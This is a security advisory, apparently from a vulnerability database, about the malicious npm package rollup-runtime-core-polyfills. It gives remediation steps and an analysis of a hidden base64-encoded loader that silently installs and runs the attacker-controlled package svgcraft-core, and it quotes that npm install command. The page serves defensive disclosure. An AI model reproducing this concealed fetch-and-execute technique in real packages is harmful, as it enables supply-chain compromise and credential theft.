rollup-runtime-core-polyfills (npm) · Malicious Code
Affects rollup-runtime-core-polyfillsSource GCVE Database
Malicious package : remove rollup-runtime-core-polyfills and rotate any secrets on hosts that installed it.
Data as of 5 Aug 2026, 15:39 UTC
Malicious package
Published to npm · OSV MAL-2026-11145
What to do
Remove rollup-runtime-core-polyfills from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmrollup-runtime-core-polyfills | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199) The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.